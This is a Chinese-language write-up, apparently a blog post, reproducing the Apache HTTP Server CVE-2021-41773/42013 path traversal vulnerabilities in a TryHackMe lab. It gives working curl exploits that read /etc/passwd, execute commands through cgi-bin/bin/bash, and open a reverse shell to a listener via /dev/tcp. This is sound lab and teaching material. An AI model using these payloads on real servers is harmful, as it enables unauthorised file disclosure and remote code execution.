来自tryhackeme的漏洞复现

CVE-2021-41773/42013

利用:路径遍历利用将允许服务器公开任意文件

需要启用mod_cgi模块才能获得远程代码执行

2021 年 10 月 5 日,一个 CVE 详细描述了对 Apache HTTP Server v2.4.49 的路径遍历攻击。分配编号为 CVE-2021-41773,发布时具有
以下描述: 在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目
录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,这些请求可能会成功。此外(原文如此)这个缺陷可能会泄露 CGI 脚
本等解释文件的来源。已知此问题在野外被利用。此问题仅影响 Apache 2.4.49,不影响更早的版本。 所以 Apache 修复了这个错误并发布了 v2.4.50。故事结束了,对吧?好吧,不完全是。仅仅 2 天后,即 10 月 7 日,一个新的 CVE 引用了之前的内容。这个提到对早期路径遍历攻击的修复是不完整的,如果有问题的路径使用别名指令将其 URL 映射到文件系统,我们仍然可以遍历。CVE编号为CVE-2021-42013,说明如下: 发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不足。攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录
之外的文件。如果这些目录之外的文件不受通常的默认配置“require all denied”的保护,这些请求可以成功。如果还为这些别名路径
(sic) 启用了 CGI 脚本,这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,不影响更早的版本。 Apache 服务器中路径规范化模块的最新更改随后允许特制 URL 绕过过滤器并遍历文档根目录之外,从而允许在配置允许的情况下读取系统上的任意文件。此外,如果启用了 CGI 模块,则还可以执行任意文件! '.'进行url编码时为'%2e' '%%32%65'解码为'%2e'

通过阅读配置得知该cgi-bin路径在默认情况下是别名的,所以让我们使用它吧!该漏洞在 2.4.49 和 2.4.50 版本之间略有不同。

未启用 CGI 的 Apache 2.4.49

如果不启用 CGI,我们只能读取文件。使用 curl,我们只需访问我们想要的文件,.在每个路径段中对其中一个文件进行 url 编码。
curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd' 启用 CGI 的 Apache 2.4.49 为了执行代码,我们可以简单地调用shorbash主体中的命令。请注意,还必须发出 Content-Type 响应标头,以便客户端知道如何显示结果。 curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain" Apache 2.4.50 这个特殊的例子在版本 2.4.50 中得到修复。但是,修复不完整,无法解决 URL 的双重编码问题。在这种情况下,我们可以使用与以前版本相同的结构,路径如下: curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'

实践考试

-v 详细输出

没有 CGI 的 Apache 2.4.49:http://10.10.195.31:8080
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt' 带有 CGI 的 Apache 2.4.49:http://10.10.195.31:8081
curl -v 'http://10.10.195.31:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain" 没有 CGI 的 Apache 2.4.50:http://10.10.195.31:8082
curl 'http://10.10.195.31:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt' 带有 CGI 的 Apache 2.4.50:http://10.10.195.31:8083
curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;cat /flag.txt' -H "Content-Type: text/plain" 开启本地监听nc -lvnp 1234
反弹shell curl -v 'http://10.10.195.31:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo;sh -i >& /dev/tcp/10.14.46.2/1234 0>&1' -H "Content-Type: text/plain"

CVE-2021-41773 apache路径遍历的更多相关文章

  1. 路径遍历:ZIP条目覆盖

    程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历 例如:以下代码示例解压zip文件.    static final int BUFFER = 512;    / ...

  2. 5 X 5 方阵引出的寻路算法 之 路径遍历(完结)

      此篇文章源自对一个有趣问题的思考,在我的另一篇博文<一个有趣的 5 X 5 方阵一笔画问题>中有详细介绍.在已知其结论的情况下,作为程序员的我,还是想利用该问题当做出发点,写一个可以遍 ...

  3. 墨者学院靶场:uWSGI(CVE-2018-7490)路径遍历漏洞复现

    0x01漏洞简介 uWSGI是一款Web应用程序服务器,它实现了WSGI.uwsgi和http等协议.uWSGI 2.0.17之前版本中存在路径遍历漏洞,该漏洞源于程序没有正确的处理DOCUMENT_ ...

  4. Apache Flink上传路径遍历(CVE-2020-17518)

    影响版本 Flink1.5.1-1.11.2 复现 POST /jars/upload HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, def ...

  5. Apache Flink jobmanager/logs路径遍历CVE-2020-17519

    影响版本 1.11.0 1.11.1 1.11.2 poc http://192.168.49.2:8081/jobmanager/logs/..%252f..%252f..%252f..%252f. ...

  6. MFC 添加文件路径 遍历文件

    .添加MFC选择文件路径,使用MessageBox显示信息. void CMyCalLawsDlg::OnBnClickedAddfolder() { wchar_t* p; wchar_t szPa ...

  7. WEB渗透技术之浅析路径遍历

    1. 发送 http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://sit ...

  8. C 给定路径遍历目录下的所有文件

    在此之前需要了解 WIN32_FIND_DATA的结构 以及  FindFirstFile. FindNextFile原型以及用法注意事项传送门如下 https://msdn.microsoft.co ...

  9. CTF--HTTP服务--路径遍历(拿到www-data用户权限)

    开门见山 1. 扫描靶机ip,发现PCS 172.18.4.20 2. 用nmap扫描靶机开放服务及版本 3. 再扫描靶机的全部信息 4. 用nikto工具探测http服务敏感信息 5. 用dirb工 ...

  10. sys添加调用模块的路径;遍历可以调用模块的路径

    import sys sys.path.append("D:") for i in sys.path: print(i)

随机推荐

  1. Collection单列集合总结

    这篇文章记录了Collection集合,List集合,Set集合 在文章第七点总结了两大系列集合的五种实现类的区别,有需要的小伙伴可以直接去查看 一.什么是集合 集合是Java中存储对象数据的一种容器 ...

  2. 二进制安装Kubernetes(k8s) v1.23.4

    1.环境 网段 物理主机:192.168.1.0/24 service:10.96.0.0/12 pod:172.16.0.0/12 如果有条件建议k8s集群与etcd集群分开安装 1.1.k8s基础 ...

  3. mysql数据类型精讲

    1.MySQL中的数据类型 常见数据类型的属性,如下: 2.整数类型2.1 类型介绍整数类型一共有 5 种,包括 TINYINT.SMALLINT.MEDIUMINT.INT(INTEGER)和 BI ...

  4. EF Core 使用Azure App Service中的In-App MySQL服务

    Azure App Service 提供了一个应用内的MySQL,可以供测试.开发使用. 前提条件是需要使用Windows的操作系统. 创建完App Server 之后,只需要在设置下开启 MySQL ...

  5. 【SSM项目】尚筹网(四)JWT以及基于拦截器的前后端分离登录验证

    引入JWT前后端交互 JsonWebToken(JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.JWT就是一段字符串,分为三段[头部.载荷.签证]. 1 后端配置 1.1 ...

  6. Django相关配置信息

    Django相关配置信息 1.配置数据库mysql 1.1 setting.py中配置信息 DATABASES = { 'default': { 'ENGINE': 'django.db.backen ...

  7. 【FAQ】关于华为推送服务因营销消息频次管控导致服务通讯类消息下发失败的解决方案

    一. 问题描述 使用华为推送服务下发IM消息时,下发消息请求成功且code码为80000000,但是手机总是收不到消息: 在华为推送自助分析(Beta)平台查看发现,消息发送触发了频控. 二. 问题原 ...

  8. 云原生2.0网关API标准发展趋势

    摘要:Gateway API希望取代Ingress API. 本文分享自华为云社区<云原生2.0网关API标准发展趋势>,作者:华为云云原生团队 . 云原生网关API标准背景及发展现状 G ...

  9. vue2中使用composition-api

    vue2中使用composition-api https://juejin.cn/post/6874927606820274184 vue3.0 watch 函数 https://www.jiansh ...

  10. 深度相机(TOF)的工作原理

    文章目录 深度相机(TOF)的工作原理 TOF由什么组成? 一.TOF相机采用主动光探测,通常包括以下几个部分: 二.TOF是如何测距的呢? 三.TOF会受什么影响? 四.那TOF相机最后输出的是什么 ...